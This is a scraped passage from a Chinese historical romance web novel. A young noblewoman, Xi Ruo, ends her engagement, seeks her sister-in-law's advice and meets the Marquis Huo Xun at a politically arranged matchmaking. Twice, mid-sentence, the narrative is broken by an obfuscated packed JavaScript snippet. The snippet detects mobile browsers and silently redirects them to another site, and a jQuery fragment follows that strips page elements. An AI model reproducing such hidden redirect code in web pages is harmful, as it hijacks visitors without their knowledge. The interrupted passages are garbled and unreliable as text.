在长兄面前,她不敢那么肆意。 息停坐在与息偌不远的对面,目光静静地落在了她的身上。息偌连头都不敢抬,更别说看他一眼。她实在没力气去看,在这样的时候,他那双眼里,除了冷漠之外,不知会不会有不耐烦。 就这般安静着,未过多时,息停站起了身。 息偌想,他果真是不耐烦的,看见她低头哭了,他就要转头走了。 她半点也不想抬头送他。他今日是全世界最可恨的哥哥。 但息停没有走。他迈步来到了息偌跟前,伸手拍了拍她的头,吓得她一个哆嗦。 她都忘了哭了,抬起头看着息停,听他道:“四娘,人生不如意事十有八.九,你的不如意,也只到今日罢了。” 息偌想:骗子。 她从今日开始,便日日都要是不如意了。 他怎么能用这么难得一见的温柔长兄的姿态,对她说这么狠心的话! 她要恨死他了。这一刻他的面目比昨晚的冯晚还要更加可恨。 他的手已经收回去了,她已经错过了狠狠推开他手的最佳时机。但是攻心的武器除了推拒的凶狠姿态,还有最最恶毒的锋利言辞。 息偌想:他都这样对她了,那么她说什么,他也都是活该。 她今日胆量真的很大了,比昨晚还要更大些。 她抬首看着他,问道:“长兄为什么是这样的人?爹娘是因为知道你是这样的人,所以才不亲近你的吗?嫂嫂是因为看清你是这样的人,所以才要离开你的吗?” 现在,妹妹也明白了你的本性,妹妹也会恨你一辈子。你胡作非为,就只能众叛亲离。 息停垂首看着她,她眼里拢着没有完全干透的眼泪,水雾四溢,但是明亮的恨意却从这迷蒙之后清晰而尖锐地刺向了他。 但他是根本不会被一个小姑娘的眼神刺痛的。 他笑了一笑,没答这话,转过身走了,临去前还不忘叮嘱小盼,替息偌把案上放冷的饭菜汤水再热一热。 小盼顾不上热饭,先要安慰息偌。可是息偌见息停就这么走了,自己扯着帕子把眼泪抹了又拿起筷子,对小盼道:“把这两个带汤水的热一热,你过来和我一起吃。” 小盼迟疑道:“娘子这么快就不难过了啊?” 息偌恶狠狠吃了一大口肉,道:“都是恶人!我才不难过呢。赶紧吃饭,吃完还要收拾东西呢。” 小盼快速捧着热好的饭菜回来,坐着小凳在旁边陪息偌一起用饭。 她心里也忧愁,饭也吃不下,问道:“娘子要不要去找找家主和夫人呢?他们到底是娘子和大郎君的父母,他们疼爱娘子,不至于非要叫娘子去做不喜欢的事。如果他们说了,大郎君不会不听的。” 息偌摇头道:“话是这样说,但如果他们那边没有这样的意思,长兄也不敢直接来与我一个姑娘家说这些话罢?” 小盼道:“这算个什么事呀?冯郎君那边还没料理清楚呢。” 息偌拧眉道:“还有什么料理不清楚的?” 小盼气道:“他都没与娘子道歉、没与娘子解释呢。” 息偌道:“事实如此,用不着他做解释,解释什么也都没用。道不道歉也没关系,我也不稀罕他的道歉。” 小盼心里也觉得冯晚罪无可恕,自家娘子哪里不好?又哪里对他不好?他凭什么在外面这么胡作非为!她非要分手也是情理之中,半点错也没有的。 可是—— “那,娘子不要冯郎君了,大郎君说的这事可怎么办呢?提起来了,连个作挡的人都没有。” 息偌心里清清楚楚的,道:“即便冯晚老老实实的,今日长兄提起这事,他又能挡住什么?” 在他们的这段关系里,论起抵御风波,冯晚本就是无用之人。她心里清清楚楚,今日也算下定决心,用不着再踯躅什么。 小盼食不下咽,道:“那娘子可怎么办呢?” 息偌把她的手推了推,道:“快吃饭,吃了饭,我还有的是事忙呢。” 主仆二人一起用完饭,息偌就像要上战场一般,生怕精力不足,吃了个十分饱。小盼知道她饭量,去沏了一壶清口的淡茶热在房间里的小炉子上,这才按照息偌先前的吩咐,又去提了两只箱子进来。 息偌又重新坐到那一堆乱七八糟的东西里,花了整日的工夫,将东西都归整进了箱子里。 东西收拾好,她的心也定了,这才走到书案前,自己研起了墨。 她手下一边打转,脑子里一边在想,这一封书信要怎么写,才能洒脱又快意。 她很小的时候就见到冯晚了,在之后的许多年里,她看着他和长兄顶着两个鲜花着锦的姓氏,在宁都城里风华肆意。冯晚最是风流少年时,很得女子欢喜,他会同人亲近,却不会特别亲近,就只有对息偌不一样。 小小的息家妹妹,即便跟在他身后满宁都地转悠,也没人说半个字的是非。但是等她大了,这般场景代表的意义便不一样了。 她出生在息家,被惯得心高气傲,可以勇敢地喜欢上这世上最好的郎君,却容不得心上人的心里没有自己。 冯晚心里有她。他那样真情真性的人,即便过了半世,到大家都白发苍苍的时候,也还会如今日般护着她。 他哪里都好,待她也好,只是不爱她。爱她的人不会做出这样会让她伤心的事。 息偌是息家的女儿,拿得起也放得下。 她的笔尖饱沾了浓墨,就此落下。 此日一早,息忍去冯家退东西。他办事从来利落,根本不必息偌忧心,不多时就一身干净地回到息家,说事情都办好了。 至于怎么办的,冯晚在不在,又是什么反应,他没说,息偌也没问。她只是让息忍套车,小盼跟着,又往郊外去了一趟。 明贞的态度还是与之前一样,面上礼貌却分明不耐,只这次却没将她拦在外头,而是带去了李常希所居的院子。李常希正坐在堂中煮茶,见到她来,请她落座。 息偌上次来,没能进入李常希的住处,只是这次虽来了,却也不见全貌。厚重的屏风将更大些的内间都遮掩住,她就只能坐在这简单的外间里。 不过息偌乐观,想,这回已经比上回好很多了。 毕竟她不是她长兄,没有惹李常希生气过,昔年在息家,李常希还是很爱护自己的。 息偌接过李常希递来的那一杯热气腾腾的茶水,看着杯里浮起的白雾,也没多说什么客气的前言,直接道:“我决意和冯晚分开,不再往来了。” 李常希微微一怔,而后无奈笑了笑,道:“上回我说的那些话,最多只能算作参考,你自己心里有盘算就好,不必非要答我。” 息偌看她神色,微微一顿,道:“上回与嫂嫂说了那些话,今日我却说了放弃,嫂嫂倒像半点不意外似的。莫不是……心中也觉得我与他并不相配?” 李常希知道息偌与冯晚的这场官司,知道息偌的心,也能看得出她上次前来的挽回之心。她想要一个人的鼓励和肯定,她给了,她于是要卯足力气回去坚定自己的真心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373536|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 可是这才两日。 两日后,她放弃了,她半点讶然都没有,就好像已经知道这个结局一样。 息偌不免还是有些气馁和沮丧:瞧啊,谁都知道他们不是良配,偏她撞得头破血流才知道回头。 李常希道:“上一回,你心志坚定,即便风言风语不休,你也想要与他同路。你已有决断,只是想要一个人明确地站在你这边鼓励一句,我并不妨就替你说这一句,也免得你迢迢跋涉过来的辛苦。这一回,你依然坚定,依然有所决断,我又何必惊讶?” 她事事洞明,也觉得这是个正确的选择,诚恳与她道:“说白了,你已用尽真心,他却毫不用心。爱侣之间付出稍有深浅也是有的,你们到底差得太多。总有一日,你会委屈的。” 息偌扁嘴道:“我如今是有一些。” 李常希问道:“断到此处,你是快乐多些,还是委屈多些?” 息偌想了想,道:“快乐一半,委屈一半,但若再久些,委屈就要多些了。” 李常希笑道:“如此还不是好事吗?” 她是在宽慰,息偌的心情瞬间好了许多,可是她看着这样温柔这样好的嫂嫂,心头又怨恨起长兄来。 她轻叹道:“嫂嫂,以后我来,你能不拒绝我吗?即便你将来与他没有任何关系了,可我心里还是很喜欢亲近你。他是恶人,我又不是。” 李常希戏谑地看着她,是在无声地笑话她,昔日是个在外头常说长兄好的人,今日却说他是恶人。 息偌看懂了,又叹了一声,道:“嫂嫂,他想要我嫁人。” 话一出口,她就又有些委屈,鼻子也酸。 世家里这么多娘子都早定婚约,她心里又不是毫无准备,她也不是那种为了自己不顾家人的人。若是息家艰难如此,需要她联姻嫁人,那只要提前告诉了她,她也不会拒绝什么。 可是息停这个可恨的恶人。他早早定下了,却根本不说,看着她与冯晚在一起了也不说,看着冯晚在外面胡作非为了也不说,也许如果不是那什么侯进京,他还是不会说。 他有那么多选择,却偏偏挑了一个最坏最坏的时机和选项。但凡他早说了,哪里会有她这么多的不甘和难过? 息偌自己消化了一天,自觉已经过了情绪最激烈的时候,可是提起来还是难忍。 她往李常希那边坐近了些,拉住了她的袖子,看她没拒绝,又贴了过去,道:“嫂嫂,我以后会一直站在你这边的!他太讨厌了,我现在是整个宁都城里第二讨厌他的人!” 李常希眼光淡了淡,垂着眼睫看不清。 息偌没注意到这些,她太擅长撒娇了,此刻抱着嫂嫂的手臂恨声道:“现在这样,我一点也不想联姻,我一点也不想听他的!” 李常希垂眼看她,拍了拍她,问道:“你这次来,烦心的事虽然换了一桩,但是与上次一样,也是心里有了决断,却只想要听旁人一句话,来推自己一把,是吗?” 息偌只觉得自己心中有一个模糊的想法,自己却一时也看不清楚,不知道这算不算是自己有了决断,一时没有开口。 李常希很淡地笑了笑,道:“我不讨厌他的。” 她对息偌道:“如果你想,你可以做全宁都第一讨厌他的人。虽然我与他婚姻的结合完全是为了息李两家,但于我本人而言,我并不讨厌他。” 息偌眨眨眼睛看着她,反应了一下,才明白她是在用自己做例子来回应她的烦恼。可是这些话和息偌昔年所见都不相同,息偌并不相信。 她皱眉道:“可你们是两情相悦,不是家族联姻。长兄说他是爱慕嫂嫂才会求娶,这话是我亲耳听到他对我爹娘说的。他心中是爱慕嫂嫂的。” 李常希没有对此进行任何辩驳,平静道:“我知道。” 息偌一时没转过弯来,怔住了。 李常希道:“成婚之前,我们的确两情相悦,但决定我们婚约成立的条件,不是我们的感情,而是我们的姓氏。联姻可以为我们彼此的家族带来更多的好处,至于爱慕,那只是锦上添花的东西,可有可无。” 她看着面前这个和自己截然不同的天真的女孩,捏了捏她的耳朵,道:“对你来说,爱与不爱,是在婚姻之中可以选择、可以争取的事情。曼曼这样讨人喜欢,即便是真的嫁给了自己素不相识的郎君,也一定可以让他心动不已,与你夫妻恩爱的,是不是?” 虽然两次前来,息偌得到的两种回答截然不同,但她就是觉得自己嫂嫂说的对。 她只是依然有些迷茫,有些纠结道:“可我都不认识他……他若不好呢?” 李常希脸色瞬间冷漠道:“不会的。你长兄要脸,独绝息家一切丑闻。他忧心你胆怯天真,恐你对付不了夫家,闹出别的祸事来,必然会好好为你挑选的。” 息偌道:“嫂嫂说的对,可我讨厌长兄。” 这一回,也不知是不是心疼她小小年纪就被息停押去联姻,李常希倒是没急着赶她。前两日回来做的花糕剩了些,李常希照样没让她带走,却留她在这里吃了好些。 最后走的时候,息偌还有些恋恋不舍。 “等回去将这事儿过了,我还来看嫂嫂。” 息偌其实很想问一问,为什么说着联姻还是利益最重,如今却非要闹着分开不可?若说是两厢绝情,事实又并非如此。 但她还是憋了回去。 一来李常希不会说,二来她自己大约也不会懂,三来,眼下还有这么一桩麻烦没解决。息偌上了马车,和她招了招手,才返回往城中去。 那日息停又不在家,息偌等着他过一日回来以后,去见了他一回。 这一年的冬日来得早,再过了十数日后,下了今年的第一场冬雪。纷纷扬扬的雪花铺天盖地地落下来,总也没个完的时候,待晨起再看,已是一片银白世界。 息偌抱着手炉在窗前看雪,见到息停那边的侍女过来,给她送了一只狭长的首饰盒来。 侍女待在廊下见礼,传了息停一句话,说会安楼到了一批新茶,味道不错,想明日带四娘子去尝尝。 息偌答应了。 她这些时候没有出门,也没有与好友相见,每日都是漫漫无事。既然得了息停这话,她这晚便早早歇下,待次日再醒的时候气色颇佳。 息偌照着镜子,心里十分满意,还叫小盼给自己绾了个新式的发髻。待小盼梳好,息偌左右摇了摇头,十分满意,扬手将息停新送她的步摇戴上了,而后起身又去更衣。 衣裳也是前一晚挑出来的,仔细展平熨好,特制的熏香点上放一晚,此刻拢在身上,暖香幽浮,经久不绝。 大雪整整下了两日,到了今日终于停了。息停下了朝,又去处理公务,直到过了午后,才亲自回府来接她。她拢着披风看着脚下,仔细地踩在新扫过雪的石子路上,与息停说话。 “今日去见这个小侯爷,可有没有什么要注意的?” 男女相看,欲结姻亲,能有什么可注意的? “是清都侯。” 息停想也知道她根本没记住对方的封号,回头见她小心翼翼的,便伸手扶了她一把,平稳地带着她走过这一片碎雪,没让她在路上摔了跟头。 “息家从前锋芒太过了,这些年一直行得低调,你莫要耍什么小性子便好。” 后一句是随便加的,前一句才是重点。世家势盛,一直被宫中忌惮,这位小侯爷是被陛下几道谕旨召回宁都的贵胄,自然是要站在陛下那边的。 他们想要削弱世家的权势,那些正如日中天的世家自然无从下手,像息家这样的,又有名望,又正见微弱,最是个适合开刀的模样。 这位清都侯,可作执刀人,亦可作长刀。趁如今尚无定论,息停打算先走一步,让他作那个更加主动的执刀人。 是政敌或是亲朋,如今都有变幻的余地,刀是刺还是收,也要从今日这一见来初窥端倪。 息停一如从前那般不需要息偌知道太多,所以这次也不曾提醒她什么。至于那句莫耍小性子,不过是白提一句。 她耍不耍性子,不会改变这件事的结果,他既然敢押她去,就能承受一切后果。 马车停在会安楼下。 -- 霍恂坐在定好的茶楼雅间里,脸色藏在手中热茶氤氲的白气之后,垂眼自窗缝里瞧楼下街边停下的马车。 那个扶着息停的手自马车上漫步走下的妙龄娘子,裹着件厚实的杏黄色厚氅,因她低着头,风帽上一圈白色的毛绒围边将她相貌遮了个严严实实。 只是她行动的姿态不急不缓,优雅非常,是世家百年积蕴才能熏陶出来的那种从容气质。 她迈步时从氅间露出樱草紫的裙边,与外头的杏黄交错在一起,一并落在这京城的厚重青砖与晶莹白雪之间,亮丽成了一道独特的美景,落在眼中生出一种别样夺目的光彩。 对面楼阁之上,有人忽而呼唤息停,她落定在地面上,和长兄一起抬头望了一眼。就这么一抬头,便露出了一张很是清丽大气的面容,和长兄站在一起时,有着相似的挺拔身段,雪松红梅一般的风骨。 霍恂看到此处,口中喃声道:“不愧是息家人。” 都是同一样。 他好像是给自己惹祸上身了。那封信,那张帖,他实在是不该贪图一时的新鲜,贸贸然就接到手里来的。 但如今已经迟了。 因为楼下的小娘子在抬头望了那一眼后便垂首转身,要和息停一起走进这家茶楼了。 霍恂觉得有桩大麻烦要来了,他有些后悔,但只有一些,他并没有一点想要离开或者回避的念头。 他就那么等着,等到雅室的木门被轻轻敲响。 息家这两兄妹跨步入内,她抬手取下风帽,露出妙丽一双美目,同他微笑,颔首唤了一句。 “见过清都侯。” 4. 相亲 此回相见,是息偌主动向息停提出的。 其实平心而论,她虽决意与冯晚断绝关系,但伤心总是难免。一时之间,她并不是那么在意男女之事,更遑论是婚姻。 她心中对此终归是有些排斥,但却又无法拒绝反驳息停,也没法让息停轻易改变决定,所以一时苦恼万分。 但那日自李常希处归返,她的确是想明白了一些事。既然自己无力阻止,相看一事势在必行,那她其实也可以顺水推舟。 见是可以见的,她要把相见的分寸和主动都把握在自己的手中。不管最后定下的夫君是不是如今要相看的这位小侯爷,横竖从今日到彼时的日子长长,如今的这些伤心难过,也早就该不复存在了。 此为一者。 息偌点头,还有另一重考虑。 息停虽然从来不与她们这些后宅的女眷说任何有关于朝堂上的政事,但息偌身在世家之内,大约也是清楚皇家与世家之间的关系紧张,知道皇室传了几代,近来很是有一番想要遏止世家泛滥权力的心思。 李常希的联姻之言,让息偌回来以后想了很久。息停这些年孤身在前,不可能毫无艰难,如果他们的婚事也是以联姻作为最初的目的,说明息停的处境也并不乐观。 息家有过烈火烹油的时候,如今分明是不如从前的,只靠着息停这一株独木。若是陛下当真想要拿息家开刀,倒也合理。 即便不为自己,只为家人,息偌也是愿意的。 在她心里,爱情在亲情面前不值一提。她可以没有冯晚,但绝不能没有父母和长兄。 若息停真的支撑不住,需要她这个妹妹来付出婚姻助力,那她也没有什么不愿。 息偌大约了解过一些情况。这个小侯爷所有不好的传闻,也就仅仅只是病弱丑陋而已。他父母生前都是性情温和又知礼守节的人,他也不曾有什么品性上的劣闻传出,初步来看,应当还是不错的,至于实际是不是这么回事,等见了便知。 息偌希望他最好不要太差。 他若是不那么差,保持在她可以接受的范围之内,那么对谁来说都是万事大吉。 这世上这么多联姻的夫妻,有相视如仇的,有相敬如宾的,自然也有相爱万分的。息偌不愿做前者,也不求做后者,做个居中者便罢了。 不管息停与对方是个什么念头,总归她以诚相待。对方若是知礼之人,即便因为息停的缘故而对她谨慎,也并不会将恩怨蔓延到她的身上,这样的人也便值得她继续深识。 若是二人真能走到真心相待的那一步,那也就是万幸之幸得证良缘了。 息偌心中想到这些,也就没有了那些最初的排斥,老老实实去答了息停。她对息停到底有些怨气,没有太过顺从地说自己愿意由他摆布,只是说,在自己做下决定以前,要先看一看对方,考虑考虑。 息停不久便安排好了一切。对方对这回相看似乎也并没有那么反对,很快就给予了回应,将一支步摇送到了息停那处,又转而交到了息偌手里。 宁都对这位小侯爷的外貌传言并不是特别好听,都说他自幼体弱多病,伤了根本,所以长得又矮又丑。 但息偌觉得息停自己生得俊美,应当不至于找个这般模样的妹夫来给自己加一道丑闻,所以传言应当不真。 只是想归想,雅间的木门推开以后,息偌还是没有按捺得住自己的好奇之心,抬头往对面看了一眼。 他衣着打扮上,并不是宁都常见的风尚,到底是清都风景秀美,他自上而下也是简单清淡,并不全拘于精细华贵,身处这繁华京师之中,自有一般不染风尘的自然灵秀。 这些倒也都罢了,不过外物而已,他的长相也并不辱没这身衣裳。 他虽如传言中一样的身体孱弱,瞧着比宁都一般的富贵公子哥儿要清瘦一些,但他起身与息停还礼时,仍旧能看得出身形颀长,还是有些雍容的风度的。 至于那张脸,更是随了其父母生前有名的美貌,骨骼之英俊挺立与面目之温柔秀丽都融在他一张面目,宛如清都山水一般的清俊丽雅。 尤其是抬首时目光转动的一双眼睛,干净而黑白分明,线条形状也很是漂亮,瞧着无害极了。 但息偌一眼望去,便知他不是无害之辈。 息停年轻而身居高位,出身不低,手上又有实绩,因此待人虽有礼却难免有高傲之态。而他今日面对这位清都侯霍恂之时,却一改这般姿态,反像是面对友人一般,减弱了许多疏离冷漠。 大抵是息停如此,所以对方便也没有装模作样。他并未有丝毫与他长相相当的生涩无害,目光里分明锐利,神色自如,无妨让来人看清自己的锋芒与倨傲。 他不遮掩,那股聪明劲儿就显露得一览无遗。息偌只瞧一眼,就知道他是慧极之人,绝非自己可以把握对方的类型。 她看清了高低,瞬间就生了退意,出门来时步伐生风的那一股自信早就不知道去到了何处。 但见面是她提的,对面楼上那一群世家公子哥儿都与息停打过了招呼,亲眼看着息停带着自己妹妹出来,这消息注定是瞒不住一点,此刻当真是一点回头路都没有。 息偌终究是坐下了,就坐在这小侯爷的对面。 息停很自然简单地给二人做了介绍,待说过两句话,便道对面楼上有自己的友人,他既见了,便去打个招呼,叫妹妹在此处稍候,他去去便回。 说是去去便回,眼看着就是要一去不回,徒留一对陌生男女,在此处陷入寂静。 和传言毫不相干的小侯爷坐在对面,不慌不忙地执盏品茶,仿佛在悠哉悠哉地等她先开口。 息偌头回与郎君相看,坐在那里握着茶盏,颔首想了半天,也没想出自己应该做什么,只觉得自己就是一条案板上待宰的鱼,进退两难。 她心里发愁,没注意到自己真的没控制住,实实在在地长吁了一声。 霍恂轻轻笑了一声。 他这一笑,总算是打破了这般寂静,息偌抬头瞧了他一眼。 实话说,第一眼见到时,她心中的确松了一口气,因为他并不比冯晚难看。若叫人知道,她放弃了冯晚,就嫁了个又丑又矮的病鬼,她的面子可往哪儿搁? 可除了脸,其他哪儿还有什么可让她轻松的呢?他一看就不是什么会在这桩婚事上听凭息停随意安排的老实人,今日相见,大抵是他与息停各怀鬼胎罢了。 息偌看清霍恂颔首敛眉也不曾掩饰而去的那一抹轻笑,手指嗒嗒嗒地敲了三下杯沿,问道:“侯爷笑什么?” 霍恂打量着她故意板起来的严肃脸色,又笑了一声。 能笑什么?笑她自打坐在这里,就愁眉苦脸,还自以为自己掩饰得很好。其实不过就是个装模作样的小姑娘罢了。 就有趣极了。 他放下茶盏,袖手仰身靠在后面的凭几上,笑问道:“不过同我喝杯茶罢了,叫你这么为难?” 他大约是觉得她不如息停,只是个再好对付不过的小姑娘,所以锋利散尽,周身释放的气息倏然就变得温柔起来,和他那张脸糅合在一起,瞧着真像个很好脾气的年轻郎君。 息偌对自己有几斤几两还是清楚的,心中又骂起息停来——怎么什么都不说,偏将她一个丢在这里! 她心里向后退了三步,开始想,要不,让他主动放弃自己算了? 霍恂看见她脸上清晰的退意,想她约莫已经在斟酌离去的措辞,便率先自袖中取出一枚司南佩放到了桌上,轻轻推向了她,道:“那日在城门,你落下的司南佩,如今正好奉还。” 息偌目光落定,有些讶异地抬头。 那日她回家换衣时不见司南佩,不知是惊马时掉的还是去花楼掉的,总之前者找不回后者找不了,索性也就不找了,只嘱咐了小盼去与管库的妈妈说了一句,叫记个丢失,以免将来闹出麻烦。 谁知竟是落在他手里。 他说城门,莫非那日对面那马车里的主人—— 她抬头,看见他身子还保持着微微前倾的角度,对她轻轻地笑道:“是我。” 息偌的内心又向后再退三步:他怎么连自己想什么都能猜到? 若将来成了婚,她还能不能有自己的秘密了! 息偌飞快伸手,将司南佩攥回自己手里,觉得如此最好,他们将来就更没瓜葛。 念头到了,她忽而想到自己发上还有一只步摇,此刻仿佛都烫得要烧她头皮,于是立刻便抬手摸到了发上,将那步摇取了下来,放在桌上。 霍恂目光在那步摇上定了定,抬眼问道:“我还以为你喜欢,怎么不戴了?我又不是来问你讨东西。” 息偌假笑了一下,道:“初次相见,总是不妥。我今日簪发太过莽撞,还请小侯爷见谅。” 其实哪有什么不妥?她来时一直戴着风帽,谁也看不见她发上簪的什么。 霍恂一直念着她城门前脆泠泠的一把嗓音,今日听见一句见礼,一直等着她下一句,谁知等来等去,是这么一句婉拒,实在让他心中不免生出许多失望与不满来。 他皮笑肉不笑,问她道:“我与你长兄也算有旧,并不陌生,你非要同我算这么清楚?” 息偌道:“我并非长兄,不敢冒犯。” 霍恂的浅笑转为冷笑,他也没什么动作,只是话锋一转,道:“成啊。步摇我收回去,那司南佩你也还回来罢——” 息偌一顿,听他继续道:“玉上也没写你的名字,却是我的爱物。你无故无据将东西拿去了,也挺冒犯我的。” 息偌听见这么没脸没皮的一句话,当场都怔住了,费了好大的力气才将一句恶狠狠的“无赖”憋回自己肚子里。 他前一句才说了是在城门拾去的,眼下就说不是她的,除了是故意想要为难她,还能是为了什么? 若这是个普通玉佩,息偌绝对立刻就扔给他,但这枚司南佩是息停从前送给她的。原先以为是找不回了,她才作罢,可是如今既然能拿回来,她也不想轻易丢下。 她心中纠结了一下,在蔫坏的长兄和无赖的侯爷之间反复了一下,立刻便将司南佩丢了出去。 她没控制好力度,司南佩越过桌案,正落在霍恂的衣摆之上。 霍恂看清她仿佛丢出烫手山芋一般的急迫姿态,目光落定在了那枚可怜的玉佩之上。 他垂着眼睫,眼中的情绪也被完全掩去。他停了一停,将司南佩拾起来,真如心爱之物一般用手指轻轻摩挲了两个来回,开口之时的音调,又露出了初见时的那一点不加掩饰的倨傲与轻蔑。 “同出息家,原以为息大郎的妹妹同他一样聪明,原来也是个蠢的。” 息偌:??? 霍恂的声音沉下来,有些隔岸观火之感。他很是直白地问她道:“拿你来换息家。息为止送你来的时候,没和你说清楚吗?” 他的声音和气息都明显地变得冰冷,息偌不由自主地打了个寒战。 她突然想到来时息停的脸色。 他虽没与她多说什么,可是眉眼里的三分深沉与忧虑不是假的。他在息家和妹妹之中做选择,现下,她也要在息家和自己之中做选择。 她手藏在袖子里,有些颤。 霍恂看着她竭力掩饰却还是无可避免地流露出来的异色,想:她害怕了。 胆子这么小,还敢出来给息停挡枪。 他终究还是放过了她这回,又轻轻笑了一下,这有些骇人的气息瞬间就被这道气声驱散殆尽。 他的声音随之放缓,整个人松弛下来,又变回了那个矜贵懒散的小侯爷。 他的眼睛泛着温柔而明亮的光泽,认真地看着她,道:“四娘,你从未了解我,不必着急拒绝。” 司南佩被他重新放在她面前,玉色莹润,泛着幽幽的弧光。 他在等她的回答。 但息偌不会被他的糖衣炮弹欺骗了。 她是真的感觉到了恐惧,知道他如果有刀,不会对自己格外开恩。 她已经退到了最后,只面上强撑着,道:“你还想威胁我不成?我长兄如今官拜三品,若我过得不痛快,你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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息偌睁大了眼睛,惊道:“我什么时候要和你去西市了?” 霍恂道:“现在。” 他抬手,指尖勾着红绳晃了晃,红绳下是她没收回去的司南佩。 别人拾去了,认不出是她的东西,息停见到了也不会说什么。但是霍恂不一样,这东西往息停面前一摆,那真是一万张嘴也说不清楚。 息偌咬牙切齿对息忍道:“去跟长兄说罢。” 息忍看着那司南佩皱了眉,又见息偌分明被逼迫,于是凑近她道:“外面天冷,你带好小盼。” 息偌不想走,息忍不放心。霍恂看着主仆两个如临大敌的神色,心情好极了,又对息偌道:“我初来宁都,还未及看看宁都热闹景象。四娘既然熟络,不妨带我转一转?” 妨,还是妨的。 息偌炸了毛,瞪大了眼睛:谁准你叫四娘了? 息忍示意小盼进来,扭头就快步走了出去。息偌不甘不愿地跟着霍恂走了,满心只希望息忍去见她长兄,能带个好信儿回来。于是穿个大氅都磨磨唧唧,下个楼也一步一停。 再恶毒的长兄,知道妹妹被一个虚假狠辣的伪君子绑架走,也不会不管不顾的罢? 息忍在息偌磨到楼梯一半位置的时候终于回来了,面无表情地回息偌道:“大郎君很开心,祝您玩得愉快。” 息偌:…… 她能愉快就见鬼了! 霍恂又在她背后笑出了声。 息偌气死了,登登登地往楼下走,霍恂始终跟在她身后不远不近的位置,还不忘提醒她道:“四娘仔细脚下。” 这倒是提醒她了! 她忽然止步,身体往下一矮,还没撞上扶手,忽然被人从后捞了一把,彻彻底底地将后背顶上了那人胸膛。 息偌有些懵,听见耳后那人轻轻咳了两声,仿佛接受不了她这下猛力一般,而后有些幸灾乐祸地同她道:“都叫你仔细了。” 计划失败。 他们离得太近,霍恂说话的时候,息偌感觉耳边有温热的气息。她突然感到那一块烫得厉害,立刻就弹了起来,一把推开他后重重搓了搓耳朵,斥道:“登徒子!” 还是个没用的登徒子! 她才多少斤两,他不就拉了她一把吗?至于咳得和恶疾突发一样吗! 霍恂看她终于骂出来了,冷呵了一声。 自己刚才那一下虽然是突然出手,但只是隔着她的大氅扶住了她两只手臂,没有一点过分的逾矩。她心里清楚,但就是故意要逮着这关口好骂他一句。 他知道她就是故意的。 息偌借着这机会道:“我觉得我脚崴了。” 霍恂冷漠道:“我看你跳开的时候挺灵活。” 息偌试图补救,霍恂却又露出了那种轻轻浅浅的微笑,道:“今日.你就是摔死在这儿了,我也要拉你去西市游街。” 息偌:好……好恶毒。 没关系,到了门口,她再跑就是。 息偌转头下楼,霍恂仍旧跟在后面。她算着到门口了要往哪个方向跑,谁知道离门口还剩十几步的时候,霍恂忽然上前一步,隔着厚实的大氅准确地握住她的手腕。 息忍立刻就要上前,被雁行拦了一下。 息偌惊道:“你干什么!” 霍恂笑道:“外面有雪,怕你摔。” 息偌道:“我不会。” 霍恂问道:“息为止的近卫在这里,雁行也在这里,息忍要带你走,能同时打过这两个吗?” 息偌下意识看向门边的息忍。 息忍摸了摸鼻子,把头扭向了天空。 息偌:…… 霍恂扶息偌上了马车,让她坐在里侧,然后自己坐在外侧,将腿舒展地一伸,拦在她下车的唯一活路之前,而后让雁行合上了车门。 息偌有些挠心挠肺的无语,道:“此处离西市就两条街,有你命人驾车再停车的功夫都走过去了。再说了,你也不能坐在车上逛,有必要把我堵在车上吗?” 霍恂看着她的模样,生气的时候,模样比方才进门行礼时生动多了。他看着看着,就不自觉笑了,甚至不必仔细瞧,都能看出三分温柔的意味。 “息四娘。” 他定定地唤她,目光也是又沉又稳地落在她脸上。 “你别怕。” 我又不是豺狼虎豹,吃不了你。 5. 别怕 息偌也不明白为什么,心脏忽然仿佛擂鼓。 她只是知道他这一句话,和之前逗弄她的玩笑话不一样。 许是因为霍恂身体不好,马车的内壁也封得厚实,街上的人声都隔绝在外,遥遥的并不清晰,只有他的声音近在咫尺。 “你不必将我们的事想得太差。我说过,你不了解我,不必急着拒绝。我没有那个闲情,成日以家宅不宁为乐。对你而言,我虽不是好的选择,但不会更坏了。” 他又对她重复了一遍。 “你别怕。” 息偌其实有些不大懂。 他是陛下的表弟,必然是与陛下站在一边,那就注定和息停不在一边。他那样聪明,肯定能看清息停想要先下手的意向,那就不该同意此事。 他若是不肯同意这桩婚事,要么在息停发出邀请的时候就该拒绝,要么就该在自己面前表现得差劲一些,推动着自己回去哭闹。 而他要她别害怕、别拒绝,又仿佛是想要促成这桩婚事一般。 但若想要促成此事,故意说那些难听话来吓她又是为什么呢? 息偌不理解,也不能贸然接口,便别开头不再看他。只是此地到底离西市太近,很快就到了街前。 她有些犹豫,在看见他准备起身伸手时,率先拉住他衣摆拦住了他的动作。 雁行在外要开车门,被他低声唤止。霍恂转头来看她的脸,无声问询她是何意。 息偌眉心微紧,道:“若是在此处下了车,就没什么余地了。我不知道我想的对不对,但你和我长兄,似乎都很希望这桩婚事能成。” 霍恂看着她,想,她是被息停一路带去了茶楼,又是被自己一路带来了西市,虽不知息停在家将她劝解到了几分,但凭她方才那种迫不及待想要离开的姿态,便知她心中并不情愿。 他从前在清都,日子过得快意自由,只要不触及根本原则,父母并不对他行事做太多插手。他知道凡事讲求你情我愿,强取来的多半都没什么意思。 她在他眼中,是个很有意思的小姑娘,但如果强行押着她下了车,大约她也就会变得不那么有意思。 就像在他园子里枯萎的花草,在他屋檐下锁足的鸟雀,眼见着从生机勃勃变得死气沉沉,总是让人遗憾的。 她和花草鸟雀更不一样。 她还没有改变,而他已经在为此感到担忧,她是比花草鸟雀更让他心中在意的那一个。 霍恂一念之间,便将扶门的手收了回来。 